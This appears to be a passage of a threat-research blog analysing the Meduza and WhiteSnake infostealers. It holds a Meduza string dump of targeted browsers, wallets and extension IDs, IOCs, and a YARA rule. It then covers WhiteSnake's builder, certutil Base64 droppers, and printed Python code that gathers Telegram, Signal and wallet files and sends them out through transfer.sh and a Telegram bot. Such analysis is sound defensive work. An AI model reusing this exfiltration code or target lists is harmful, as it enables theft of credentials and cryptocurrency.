0x410a87: QIP Surf
0x4102b3: Citrio
0x40fc53: Opera GX
0x40f527: Opera Neon
0x40f253: Opera Stable
0x40f143: Iridium
0x40f033: Iridium
0x40ef23: CentBrowser
0x40ee13: CentBrowser
0x40ed03: Chedot
0x40ebf3: Chedot
0x40eae4: 7Star\7Star
0x40e9d7: 7Star
0x40e703: Yandex Browser
0x40e5f3: Chromodo
0x40e4e3: Chromodo
0x40e3d3: uCozMedia\Uran
0x40e2c3: Uran
0x40e1b3: CocCoc\Browser
0x40e0a3: CocCoc Browser
0x40df93: Nichrome
0x40de83: Nichrome
0x40dd73: Sputnik\Sputnik
0x40dc63: Sputnik
0x40d703: Go!
0x40d5f3: Go!
0x40d4e4: Xvast
0x40d3d7: Xvast
0x40d103: Lenovo Browser
0x40cff3: Xpom
0x40cee3: Xpom
0x40cdd6: K-Meleon
0x40ccc9: K-Meleon
0x40c9f8: QQBrowser
0x40c727: Maxthon
0x40c453: Maxthon5
0x40c345: Maxthon3\Users
0x40c238: Maxthon3
0x40c12b: 360se6
0x40bc93: 360Browser
0x40bb83: Slimjet
0x40ba77: Slimjet
0x40b973: Comodo
0x40b863: Comodo
0x40b753: Torch
0x40b643: Torch
0x40b533: Comodo\Dragon
0x40b423: Comodo Dragon
0x40b313: Mail.Ru\Atom
0x40b203: Mail.Ru Atom
0x40b0f3: Orbitum
0x40afe3: Orbitum
0x40aed3: Kometa
0x40adc3: Kometa
0x40acb3: Vivaldi
0x40aba3: Vivaldi
0x40aa93: Amigo
0x40a987: Amigo
0x40a337: Brave Browser
0x40a237: Microsoft\Edge
0x40a137: Microsoft Edge
0x40a033: Chromium
0x409f23: Chromium
0x409c4b: 360ChromeX
0x409099: Google\Chrome
0x408f89: Google Chrome
0x408c07: Lightcord
0x408b08: DiscordPTB
0x408a0a: DiscordCanary
0x408906: Discord
0x408623: Zap
0x408347: Bisq
0x408077: Bisq
0x407da3: AtomicDEX
0x407ac3: MyCrypto
0x4077e5: MyMonero
0x407173: Terracoin
0x407061: Terracoin
0x406f4a: Binance Wallet
0x406e3d: Binance\wallets
0x406d25: Binance Wallet
0x406a4a: Binance
0x40693d: Binance
0x406823: GoldCoinGLD
0x406711: GoldCoin (GLD)
0x4065fa: InfiniteCoin
0x4064ed: InfiniteCoin
0x4063d3: FreiCoin
0x4062c1: FreiCoin
0x4061aa: Franko
0x40609d: Franko
0x405f83: YACoin
0x405e71: YACoin
0x405d5a: DevCoin
0x405c4d: devcoin
0x405b33: Mincoin
0x405a21: Mincoin
0x40590a: BBQCoin
0x4057fd: BBQCoin
0x4056e3: PPCoin
0x4055d1: PPCoin
0x4054ba: IOCoin
0x4053ad: IOCoin
0x405293: Sparrow
0x405181: Sparrow\wallets
0x40506a: Sparrow
0x404f5d: Sparrow\config
0x404e43: ElectronCash
0x404b63: ElectronCash
0x404883: WalletWasabi
0x4045a3: WalletWasabi
0x4042c3: Guarda
0x403fe5: Atomic Wallet
0x403d0a: Atomic Wallet
0x403bfd: atomic
0x403ae3: Electrum-LTC
0x403805: Electrum-LTC
0x40352a: Electrum
0x40341d: Electrum\config
0x403303: Electrum
0x403025: Ethereum
0x402d4a: Exodus
0x402c3d: Exodus
0x402b27: Exodus
0x402857: Jaxx Liberty
0x40240a: MultiBit
0x4022fd: MultiBit
0x4021e3: Bytecoin
0x4020d1: bytecoin
0x401fba: Armory
0x401ead: Armory
0x401d93: Qtum
0x401c81: QtumCore
0x401b6a: Dogecoin
0x401a5d: DogecoinCore
0x401943: Bitcoin
0x401832: BitcoinCore
0x40171e: Litecoin
0x40161d: LitecoinCore
0x401503: Dash
0x4013f6: DashCore
0x4012dc: Coinomi
0x4575d5: screen_resolution
0x4569cb: https://api.ipify.org
0x455a87: SYSTEM\CurrentControlSet\Control\TimeZoneInformation
0x455a60: SYSTEM\CurrentControlSet\Control\TimeZoneInformation
0x454e08:  [Build number: 
0x454c18:  (Unknown processor)
0x4547ea:  Unknown Edition
0x454667:  Web Server (core installation)
0x4543e6:  Standard Edition (core installation)
0x4540f1:  Microsoft Hyper-V Server
0x453f6e:  Windows 10 IoT Core
0x453deb:  Windows IoT Enterprise
0x453c68:  Windows Home Server
0x453ae5:  Windows Storage Server
0x453962:  Standard Edition
0x4537b5:  Small Business Server Premium Edition
0x453594:  Small Business Server
0x4533e7:  Server Enterprise (core installation)
0x4531c6:  Enterprise Evaluation
0x453043:  Server Enterprise
0x452e96:  Server Standard (core installation)
0x452b77:  Datacenter Edition (core installation)
0x452956:  Datacenter Edition
0x4526ff:  Server Hyper Core V
0x4524a8:  Business Edition
0x452227:  Windows Essential Server Solution Management 
0x451fdc:  Windows Essential Server Solution Additional
0x451b3f:  Professional Education
0x4500bd: Accept: text/html; text/plain; */*
0x43ff93: OpenVPN Connect\profiles
0x43f5a1: Local Storage\leveldb
0x43dd54: SOFTWARE\Valve\Steam
0x43bf3f: SOFTWARE\monero-project\monero-core
0x43b32f: SOFTWARE\Etherdyne\Etherwall\geth
0x43959c: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C4A4AE8F-B9F7-4CC7-8A6C-BF7EEE87ACA5}_is1
0x439578: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C4A4AE8F-B9F7-4CC7-8A6C-BF7EEE87ACA5}_is1
0x439560: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C4A4AE8F-B9F7-4CC7-8A6C-BF7EEE87ACA5}_is1
0x438d7c: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1
0x438d58: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1
0x438d40: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1
0x435e94: Local Extension Settings
0x435854: chromium_browsers
0x434c15: formhistory.sqlite
0x434a51: autofill-profiles.json
0x4341b5: Login Data For Account
0x433ff1: Login Data For Account
0x4333a5: Extension Cookies
0x4331e1: Extension Cookies
0x43295f: dhgnlgphgchebgoemcjekedjjbifijid
0x43260e: egjidjbpglichdcondbcbdnbeeppgdph
0x4322cc: aholpfdialjgjfhomihkjbmgjidlcdno
0x431f90: hnhobjmcibchnmglfbldbfabcgaknlkj
0x431bd0: apnehcjmnengpnmccpaibjmhhoadaico
0x431810: gojhcdgcpbpfigcaejpfhfegekdgiblk
0x431450: odbfpeeihdkbihmopkbjmoonfanlbfcl
0x431090: cihmoadaighcejopammfbmddcmdekcje
0x430cd2: dngmlblcodfobpdpecaadgfbcggfjfnm
0x430a5f: Maiar DeFi Wallet
0x430860: lpfcbjknijpeeillifnkikgncikgfhdo
0x4304a0: acdamagkdfmpkclpoglgnbddngblgibo
0x4300e0: kmhcihpebfmpgmihbkipmjlmmioameka
0x42fd20: nlgbhdfgdhgbiamfdfmbikcdghidoadd
0x42f960: klnaejjgbibmhlephnhpmaofohgkpgkd
0x42f5a0: jojhfeoedkpkglbfimdfabpdfjaoolaf
0x42f1e0: nhnkbkgjikgcigadomkphalanndcapjk
0x42ee20: cnmamaachppnkjgnildpdmkaakejnhae
0x42ea60: jnmbobjmhlngoefaiojfljckilhhlhcj
0x42e6a0: hcflpincpppdclinealmandijcmnkbgn
0x42e2e0: hmeobnfnfcmdkdcmlblgagmfpfboieaf
0x42df20: nknhiehlklippafakaeklbeglecifhad
0x42db60: cphhlgmgameodnhkjdmkpanlelnlohao
0x42d7a0: acmacodkjbdgmoleebolmdjonilkdbch
0x42d3e0: pdadjkfkgcafgbceimcpbkalnfnepbnk
0x42d020: aiifbnbfobpmeekipheeijimdpnlpgpp
0x42cc60: cnmamaachppnkjgnildpdmkaakejnhae
0x42c8a0: ojbpcbinjmochkhelkflddfnmcceomdi
0x42c4e0: epapihdplajcdnnkdeiahlgigofloibg
0x42c120: efbglgofoippbgcjepnhiblaibcnclgk
0x42bd60: dkdedlpgdmmkkfjabffeganieamfklkm
0x42b9a0: gjagmgiddbbciopjhllkdnddhcglnemk
0x42b5e0: ifckdpamphokdglkkdomedpdegcjhjdp
0x42b220: mnfifefkajgofkcjkemidiaecocnkjeh
0x42ae60: jnkelfanjkeadonecabehalmbgpfodjm
0x42aaa2: onhogfjeacnfoofkfgppdlbmlmnplgbn
0x42a82f: SubWallet (Polkadot)
0x42a632: bcopgchhojmggmffilplmbdicgaihlkp
0x42a3bf: Hycon Lite Client
0x42a1c0: jnmbobjmhlngoefaiojfljckilhhlhcj
0x429e02: cjelfplplebdjjenllpjcblmjkfcffne
0x429b8f: Jaxx Liberty (Web)
0x429990: nlbmnnijcnlegkjjpcfjclmcfggfefdm
0x4295d0: hnfanknocfeofbddgcijnmhnfnkdnaad
0x429210: amkmjjmmflddogmhpjloimipbofnfjih
0x428e50: kncchdigobghenbbaddojjnnaogfppfj
0x428a90: ffnbelfdoeiohenkjibnmadjiehjhajb
0x4286d0: bhhhlbepdkbapadjdnnojkbgioiodbic
0x428310: phkbamefinggmakgklpkljjmgibohnba
0x427f50: ookjlbkiijinhpmnjffcofjonbfbgaoc
0x427b90: ppdadbejkmjnefldpcdjhnkpbjkikoip
0x4277d0: kjmoohlgokccodicjjfebfomlbljgfhk
0x427410: fnjhmkhhmkbjkkabndcnnogagogbneec
0x427050: kpfopkelmapcoipemfendmdcghnegimn
0x426c90: jbdaocneiiinmjbjlgalhcelgbejmnid
0x4268d0: fhilaheimglignddkjgofkcbgekhenbh
0x426510: pnlfjmlcjdjgkddecgincndfgegkecke
0x426150: dmkamcknogkgcdfhhbddcghachkejeap
0x425d90: cjmkndjhnagcfbpiemnkdpomccnjblmj
0x4259d0: cmndjbecilbocjfkibfbifhngkdmjgog
0x425610: bkklifkecemccedpkhcebagjpehhabfb
0x425250: ldinpeekobnhjjdofggfgjlcehhmanlj
0x424e90: mfhbebgoclkghebffdldpobeajmbecfk
0x424ad0: ippiokklhjjdlmmonmjimgbgnnllcleg
0x424710: pocmplpaccanhmnllbbkpgfliimjljgo
0x424350: fhmfendgdocmcbmfikdcogofphimnkno
0x423f90: nphplpgoakhhjchkkhmiggakijnkhfnd
0x423bd0: bocpokimicclpaiekenaeelehdjllofo
0x423810: mfgccjchihfkkindfppnaooecgfneiii
0x423450: ibnejdfjmmkpcnlpebklmnkoeoihofec
0x423090: bfnaelmomeimhlpmgjnjophhpkkoljpa
0x422cd0: fcckkdbjnoikooededlapcalpionmalo
0x422910: dfeccadlilpndjjohbjdblepmjeahlmm
0x422550: afbcbjpbpfadlkmhmclhkeeodmamcflc
0x422190: flpiciilemghbmfalicajoolhkkenfel
0x421dd0: dfmbcapkkeejcpmfhpnglndfkgmalhik
0x421a10: abkahkcbhngaebpcgfmhkoioedceoigp
0x421650: nanjmdknhkinifnkgdcggcfnhdaammmj
0x421290: blnieiiffboillknjnepogjhkgnoapac
0x420ee0: hpglfhgfnhbgpjdenjgmdgoeiappafln
0x420b20: lodccjjbdhfakaekdiahmedfbieldgik
0x420760: apenkfbbpmhihehmihndmmcdanacolnh
0x4203a0: lgmpcpglpngdoalbgeoldeajfclnhafa
0x41ffe0: aeachknmefphepccionboohckonoeemg
0x41fc20: fihkakfobkmkjojpchpfgcmhfjnmnfpi
0x41f860: fhbohimaelbohpjbbldcngcnapndodjp
0x41f4a2: djclckkglechooblngghdinmeemkbgci
0x41f22f: Metamask (Opera)
0x41f030: ejbalbakoplchlghecdalmeeeajnimhm
0x41ec85: nkbihfbeogaeaoehlefnkodbefgpgknn
0x41e828: gaedmjdfmmahhbjefcbgaolhhanlaolb
0x41e488: igkpcodhieompeloncfnbekccinhapdb
0x41e0e8: nhhldecdfagpbfggphklkaeiocfnaafm
0x41dd48: chgfefjpcobfbnpmiokfjjaglahmnded
0x41d9a8: jhfjfclepacoldmjmkmdlmganfaalklb
0x41d608: nofkfblpeailgignhkbnapbephdnmbmn
0x41d268: bmikpgodpkclnkgmnpphehdgcimmided
0x41cec8: naepdomgkenhinolocfifgehidddafch
0x41cb28: bbcinlkgjjkejfdpemiealijmmooekmp
0x41c788: hdokiejnpimakedhajhdlcegeplioahd
0x41c3ec: ljfpcifpgbbchoddpjefaipoiigpdmag
0x41c181: RoboForm (Web Edge)
0x41bf98: pnlccmojcmeohlpggmfnbbiapkmbliob
0x41bc08: bfogiafebfohielmmehodmfbbebbbpei
0x41b868: fooolghllnmhmmndgjiamiiodkpenpbb
0x41b4dc: jbkfoedolllekgbhcbcoahefnbanhhlh
0x41b271: Bitwarden (Edge)
0x41b088: nngceckbapebfimnlniiiahkandclblb
0x41ace8: gehmmocbbkpblljhkekmfhjpfbkclbph
0x41a948: fdjamakpfbbddfjaooikfcpapjohcfmg
0x41a5bc: pdffhmdngciaglkoonimfcmckehcpafo
0x41a351: KeePassXC (Web Edge)
0x41a168: oboonakemofpalcgghocfoadofidjkkk
0x419ddc: dppgmdbiimibapkepcbdbmkaabgiofem
0x419b71: 1Password (Edge)
0x419988: aeblfdkhhhdcdjpifhhbdiojplfjncoa
0x4195fc: oeljdldpnmdbchonielidgobddffflal
0x419391: EOS Authenticator
0x4191ac: ilgcnhelpchnceeipipijaljkblbcobl
0x418f41: GAuth Authenticator
0x418d5c: imloifkgjagghnncjkhggdhalmcnfklk
0x418af1: Trezor Password Manager
0x418908: ocglkepbibnalbgmbachknglpdipeoio
0x418696: Authenticator (Edge)
0x4184ae: bhghoamapcdpbohphigoooaddinpkbai
0x418083: FlashPeak\SlimBrowser
0x417db2: BitTube\BitTubeBrowser
0x417ae1: Moonchild Productions\Basilisk
0x4175f4: Moonchild Productions\Pale Moon
0x417323: NETGATE Technologies\BlackHawk
0x417052: 8pecxstudios\Cyberfonx
0x416d81: Comodo\IceDragon
0x416262: Mozilla\SeaMonkey
0x415ac1: Naver\Naver Whale
0x4157e6: ViaSat\Viasat Browser
0x415515: InsomniacBrowser
0x415351: InsomniacBrowser
0x414095: CryptoTab Browser
0x413ed1: CryptoTab Browser
0x4136b1: UCBrowser\User Data_i18n
0x4131c1: AVAST Software\Browser
0x412455: CCleaner Browser
0x412291: CCleaner Browser
0x411629: Rafotech\Mustang
0x411465: Rafotech Mustang
0x4112a1: MapleStudio\ChromePlus
0x410971: Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
0x410944: Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
0x410635: Sleipnir5 ChromiumViewer
0x410471: CatalinaGroup\Citrio
0x410199: Elements Browser
0x40ffd5: Elements Browser
0x40fe11: Opera Software\Opera GX Stable
0x40fb18: Opera Software\Opera Crypto Developer
0x40f8a6: Opera Crypto Developer
0x40f6e2: Opera Software\Opera Neon
0x40f411: Opera Software\Opera Stable
0x40e8c1: Yandex\YandexBrowser
0x40db2c: Safer Technologies\Secure Browser
0x40d8c1: Safer Secure Browser
0x40d2c1: Lenovo\SLBrowser
0x40cbb3: Tencent\QQBrowser
0x40c8e2: Maxthon\Application
0x40c611: Maxthon5\Users\guest\MagicFill
0x40c015: 360 Secure Browser
0x40be51: 360Browser\Browser
0x40a879: Epic Privacy Browser
0x40a6b5: Epic Privacy Browser
0x40a4f1: BraveSoftware\Brave-Browser
0x409e06: 360ChromeX\Chrome
0x409b35: Google\Chrome SxS
0x409971: Google Chrome SxS
0x4097a9: Google(x86)\Chrome
0x4095e5: Google Chrome (x86)
0x409421: Google\Chrome Beta
0x409257: Google Chrome Beta
0x408dc1: DiscordDevelopment
0x40850b: Zap\Local Storage\leveldb
0x40823b: Bisq\btc_mainnet\wallet
0x407f6b: Bisq\btc_mainnet\keys
0x407c8b: atomic_qt\config
0x4079ab: MyCrypto\Local Storage\leveldb
0x4076cf: MyMonero\Local Storage\leveldb
0x407501: Daedalus Mainnet
0x40733b: Daedalus Mainnet
0x406c0f: Binance\Local Storage\leveldb
0x404d2b: ElectronCash\config
0x404a4b: ElectronCash\wallets
0x40476b: WalletWasabi\Client\Config.json
0x40448b: WalletWasabi\Client\Wallets
0x4041ab: Guarda\Local Storage\leveldb
0x403ecf: atomic\Local Storage\leveldb
0x4039cb: Electrum-LTC\config
0x4036ef: Electrum-LTC\wallets
0x4031eb: Electrum\wallets
0x402f0f: Ethereum\keystore
0x402a1b: Exodus\exodus.wallet
0x402747: com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
0x40271a: com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
0x4011c3: Coinomi\Coinomi\wallets

Meduza Stealer Configuration Extractor

I was also inspired by @herrcore research with Unicorn Engine implementation and wrote the configuration extractor that grabs the C2 and build name on most samples. The extractor was written using Unicorn Engine and Python. It was my first time messing with Unicorn Engine, so any feedback is welcome.

You can grab the configuration from my GitHub page as well.

Indicators Of Compromise

Name	Indicators
C2	79.137.203.39
C2	77.105.147.140
C2	79.137.207.132
C2	79.137.203.37
C2	79.137.203.6
C2	185.106.94.105
SHA-256	702abb15d988bba6155dd440f615bbfab9f3c0ed662fc3e64ab1289a1098af98
SHA-256	2ad84bfff7d5257fdeb81b4b52b8e0115f26e8e0cdaa014f9e3084f518aa6149
SHA-256	f0c730ae57d07440a0de0889db93705c1724f8c3c628ee16a250240cc4f91858
SHA-256	1c70f987a0839d11826f053ae90e81a277fa154f5358303fe9a511dbe8b529f2
SHA-256	cbc07d45dd4967571f86ae75b120b620b701da11c4ebfa9afcae3a0220527972
SHA-256	afbf62a466552392a4b2c0aa8c51bf3bde84afbe5aa84a2483dc92e906421d0a
SHA-256	6d8ed1dfcb2d8a9e3c2d51fa106b70a685cbd85569ffabb5692100be75014803
SHA-256	ddf3604bdfa1e5542cfee4d06a4118214a23f1a65364f44e53e0b68cbfc588ea
SHA-256	f575eb5246b5c6b9044ea04610528c040c982904a5fb3dc1909ce2f0ec15c9ef
SHA-256	91efe60eb46d284c3cfcb584d93bc5b105bf9b376bee761c504598d064b918d4
SHA-256	a73e95fb7ba212f74e0116551ccba73dd2ccba87d8927af29499bba9b3287ea7

Yara Rule

rule MeduzaStealer {
	meta:
		author = "RussianPanda"
		description = "Detects MeduzaStealer" 
		date = "6/27/2023"

	strings:
		$s1 = {74 69 6D 65 7A 6F 6E 65}
		$s2 = {75 73 65 72 5F 6E 61 6D 65}
		$s3 = {67 70 75}
		$s4 = {63 75 72 72 65 6E 74 5F 70 61 74 68 28 29}
		$s5 = {C5 FD EF}
		$s6 = {66 0F EF}

	condition:
		all of them and filesize < 700KB
}

Unleashing the Viper : A Technical Analysis of WhiteSnake Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

WhiteSnake Stealer first appeared on hacking forums at the beginning of February 2022.

The stealer collects data from various browsers such as Firefox, Chrome, Chromium, Edge, Brave, Vivaldi, CocCoc, and CentBrowser. Besides browsing data, it also collects data from Thunderbird, OBS-Studio, FileZilla, Snowflake-SSH, Steam, Signal, Telegram, Discord, Pidgin, Authy, WinAuth, Outlook, Foxmail, The Bat!, CoreFTP, WinSCP, AzireVPN, WindscribeVPN.

The following are crypto wallets collected by WhiteSnake: Atomic, Wasabi, Exodus, Binance, Jaxx, Zcash, Electrum-LTC, Guarda, Coinomi, BitcoinCore, Electrum, Metamask, Ronin, BinanceChain, TronLink, Phantom.

The subscription pricing for the stealer:

120$ – 1 month
300$ – 3 months
500$ – 6 months
900$ – 1 year
1500$ – lifetime

The stealer claims to leave no traces on the infected machine; it does not require the user to rent the server. The communication between the infected and the attacker’s controlled machine is handled by Tor. The stealer also has loader and grabber functionalities.

What also makes this stealer interesting and quite unique compared to other stealer families is the payload support in different file extensions such as EXE, SCR, COM, CMD, BAT, VBS, PIF, WSF, .hta, MSI, PY, DOC, DOCM, XLS, XLL, XLSM. Icarus Stealer was probably the closest one to this stealer with the file extension support feature. You can check out my write-up on it here. Another interesting feature is the Linux Stub Builder, where the user can generate Python or .sh (shell) files to run the stealer on Linux systems. The stealer would collect the data from the following applications: Firefox, Exodus, Electrum, FileZilla, Thunderbird, Pidgin, and Telegram.

But enough about the introduction. Let us jump into the technical part and the stealer panel overview.

WhiteSnake Analysis

WhiteSnake builder panel contains the settings to enable the Telegram bot for C2 communication. The user can also configure Loader and Grabber settings. The user can choose whether to encrypt the exfiltrated data with just an RC4 key or add an RSA encryption algorithm. With RC4 encryption, anyone with access to the stealer builder can decrypt the logs. But RSA + RC4 encryption algorithm, the user would need to know the private RSA key to be able to extract an RC4 key which is quite challenging.

The user can add the fake signature to the generated builds. There are currently eight signatures under the user’s exposal.

Adobe (Adobe Systems Incorporated, VeriSign)
Chrome (Google LLC, DigiCert)
Firefox (Mozilla Corporation, DigiCert)
Microsoft (Microsoft Corporation, Microsoft Code Singing PCA 2011)
Oracle (Oracle Corporation, DigiCert, VeriSign)
Telegram (Telegram FZ-LLC, Sectigo)
Valve (Valve Corp., DigiCert)
WinRar (win.rar GmbH, Globalsign)

Stealers such as Vidar and Aurora (RIP) have the file size pumper enabled to append junk bytes to the end of the builds to increase the file, thus avoiding the detection and preventing it from being analyzed by most sandboxes. The user can pump the file size up to 1000MB. The user can choose a specific .NET framework version to run the stealer. Version 2.0 works for Windows 7, and version 4.7 works for Windows 8 and above.

The stealer has two execution methods:

Non-resident – the stealer auto-deletes itself after successful execution
Resident – the stealer beacons out to the C2 WhiteSnake stealer payload can be generated with these features enabled:
AntiVM
Auto-Keylogger
Random resources
USB Spread
Local user spread I will mention some of these features further in this write-up.

Let’s look at some of the payloads with different file extensions.

Cmd – this generates the batch file The batch file sets the command line title to “Update … “. sets an environment variable named s7545ebdc38726fd35741ea966f41310d746768 with the value %TEMP%\Ja97719d578b685b1f2f4cbe8f0b4936cf8ca52. The %TEMP% represents the path to the user’s temporary folder. The final decoded payload is saved as P114cace969bca23c6118304a9040eff4.exe under the %TEMP% folder.

The script grabs the substring that starts and ends with a specific index specified in the batch file. Taking, for example, echo %XMgElBtkFoDvgdYKfJpS:~0,600% , it extracts the substring starting from index 0 and ending at index 600 (inclusive) from the variable XMgElBtkFoDvgdYKfJpS, which is:

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ

From:

set XMgElBtkFoDvgdYKfJpS=TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKZEs4YAAAAAAAAAAOAAIgALATAAACAFAAAKAAAAAAAAHj4FAAAgAAAAQAUAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACABQAAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMg9BQBTAAAAAEAFABQHAAAAAAAAAAAAAAAAAAAAAAAAAGAFAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAJB4FAAAgAAAAIAUAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAABQHAAAAQAUAAAgAAAAiBQAAAAAAAAAAAAAA6g

You might have noticed that the string begins with TVqQ, which decodes to an MZ header from Base64.

When the big base64-encoded blob is formulated, certutil is used to decode it, and the executable is launched under the mentioned %TEMP% folder.

VBS – generates the VBS file that is launched via wscript.exe, and, again, certutil is used to decode the Base64 blob. The file containing the Base64 blob is saved under the same folder as the decoded executable file (%TEMP%). The Base64 blob is in reversed order. After decoding, the payload is placed under the Temp folder mentioned above as a randomly generated filename, for example, od1718d0be65b07c0fd84d1d9d446.exe (GetSpecialFolder(2) retrieves the Temp folder)

WSF and HTA – the same logic as for the VBS is applied to WSF and HTA payloads.

Python payload. The payloads can be generated either in Python 1-2 or 3. With Python 1-2, the stealer payload is executed from the %TEMP% directory after Base64-decoding.

With Python 3, the code checks if the operating system is Linux; if not, then it exits with the following condition:

if 'linux' not in H().lower():
	exit(1)

The code also checks if the ISP obtained from the IP geolocation API matches certain predefined values. If a match is found with either ‘google’ or ‘mythic beasts’, the script exits with an exit code of 5 as shown below:

I,J=O.data.decode(N).strip().split('\n')
for P in ['google','mythic beasts']:
	if P in J.lower():exit(5)

The screenshot caption function operates the following way:

First, the code checks if the variable S is set to True, which indicates that the PIL (Python Imaging Library) module, specifically ImageGrab from PIL, is available. If the module is available, the variable S is set to True. Otherwise, it is set to False.
Inside the n() function, an attempt is made to capture the screenshot using the PIL module if S is True. The ImageGrab module’s grab() function is called to capture the screenshot, and then it is saved to a BytesIO object called C as a PNG image.
The BytesIO object C, which holds the PNG image data, is then encoded as base64 using the b64encode() function from the base64 module. The resulting base64-encoded image is assigned to the variable C.
The base64-encoded screenshot image is saved to a JSON file named system.json along with other system-related information like the username, computer name, IP address, operating system, Stub version, Tag, and Execution timestamp, as shown in the code snippet below:

with open(A.join(B,'system.json'),'w')as R:dump({'Screenshot':C,'Username':D(),'Compname':E(),'OS':H(),'Tag':T,'IP':I,'Stub version':k,'Execution timestamp':time()},R)

Let’s look at this function:

def p(buffer):
    A = d(16)
    B = Z(buffer)
    C = m(A, B)
    return b'LWSR$' + C + A

Which does the following:

A = d(16) – it generates a 16-byte random key, which is assigned to the variable A.
B = Z(buffer) – the buffer is passed to the Z function, assigning the result to the variable B. The implementation of the Z function is not provided in the code snippet, so it is unclear what it does.
C = m(A, B) – the m function is called with the key A and the processed buffer B. The m function seems to perform some encryption or transformation on the buffer using the provided key.
return b’LWSR$’ + C + A – the function concatenates the byte string ‘LWSR$’, the transformed buffer C, and the key A. It returns the resulting byte string. The ‘LWSR$’ prefix could potentially be used as a marker or identifier for the encrypted data.

The m function contains the RC4 encryption function shown below:

def m(key,data):
	A=list(W(256));C=0;D=bytearray()
	for B in W(256):C=(C+A[B]+key[B%len(key)])%256;A[B],A[C]=A[C],A[B]

	B=C=0

	for E in data:B=(B+1)%256;C=(C+A[B])%256;A[B],A[C]=A[C],A[B];D.append(E^A[(A[B]+A[C])%256])

	return bytes(D)

j parameter contains the configuration of the stealer:

<?xml version="1.0" encoding="utf-8"?><Commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">  <commands><command name="2"><args><string>~/snap/firefox/common/.mozilla/firefox</string><string>~/.mozilla/firefox</string></args></command><command name="2"><args><string>~/.thunderbird</string></args></command><command name="0"><args><string>~/.config/filezilla</string><string>sitemanager.xml;recentservers.xml</string><string>Apps/FileZilla</string></args></command><command name="0"><args><string>~/.purple</string><string>accounts.xml</string><string>Apps/Pidgin</string></args></command><command name="0"><args><string>~/.local/share/TelegramDesktop/tdata;~/.var/app/org.telegram.desktop/data/TelegramDesktop/tdata;~/snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata</string><string>*s;????????????????/map?</string><string>Grabber/Telegram</string></args></command><command name="0"><args><string>/home/vm/.config/Signal;~/snap/signal-desktop/current/.config/Signal</string><string>config.json;sql/db.sqlite</string><string>Grabber/Signal</string></args></command><command name="0"><args><string>~/.electrum/wallets;~/snap/electrum/current/.electrum/wallets</string><string>*wallet*</string><string>Grabber/Wallets/Electrum</string></args></command><command name="0"><args><string>~/.config/Exodus</string><string>exodus.conf.json;exodus.wallet/*.seco</string><string>Grabber/Wallets/Exodus</string></args></command>  </commands></Commands>

The configuration is used to enumerate through the directories and extract the predefined data such as Firefox cookies and credentials, Thunderbird and FileZilla config files, cryptocurrency wallets, Telegram, and Signal data. The extracted data is then RC4-encrypted with a random 16-byte key, compressed in a ZIP archive, and sent over to transfer.sh and Telegram Bot.

The snippet that is responsible for sending data to transfer.sh and Telegram:

def q(buffer):I=buffer;B='https://transfer.sh/';A=B+f"{D()}@{E()}.wsr";G=F();K=G.request('PUT',A,body=I);J=K.data.decode(N).replace(B,B+'get/');A=b(C(chat_id=h,text='\n#{0}\n\n<b>OS:</b> <i>{1}</i>\n<b>Username:</b> <i>{2}</i>\n<b>Compname:</b> <i>{3}</i>\n<b>Report size:</b> <i>{4}Mb</i>\n'.format(T,H(),D(),E(),round(len(I)/(1024*1024),2)),parse_mode='HTML',reply_markup=dumps(C(inline_keyboard=[[C(text='Download',url=J),C(text='Open',url='http://127.0.0.1:18772/handleOpenWSR?r='+J)]]))));A='https://api.telegram.org/bot{0}/sendMessage?{1}'.format(i,A);G=F();G.request(M,A)

The data is sent to Telegram, where Download URL is the transfer.sh generated URL, which would be in the format transfer.sh/username@computername.wsr:

{
  "chat_id": "",
  "text": "\n#<BUILD_TAG\n\n<b>OS:</b> <i>[Operating System]</i>\n<b>Username:</b> <i>[Username]</i>\n<b>Compname:</b> <i>[Computer Name]</i>\n<b>Report size:</b> <i>[File Size]Mb</i>\n",
  "parse_mode": "HTML",
  "reply_markup": {
    "inline_keyboard": [[{ "text": "Download", "url": "[Download URL]"}, {"text": "Open", "url": "http://127.0.0.1:18772/handleOpenWSR?r=[Download URL]"}]
    ]
  }
}

It is worth noting that at the time of writing this report, transfer.sh has been down for a few weeks, so our Python 3 payload will not work 😉

MSI payload – contains the Custom Action to execute the embedded stealer.

Macro – the macro script contains the Base64-encoded reversed blob, which is the stealer itself. Upon decoding and reversing the blob, it’s saved as an executable file under the %TEMP% folder.

The builder of WhiteSnake is built with Python. The standalone builder was built using PyInstaller, that includes all the necessary Python extension modules.

WhiteSnake Stealer Analysis

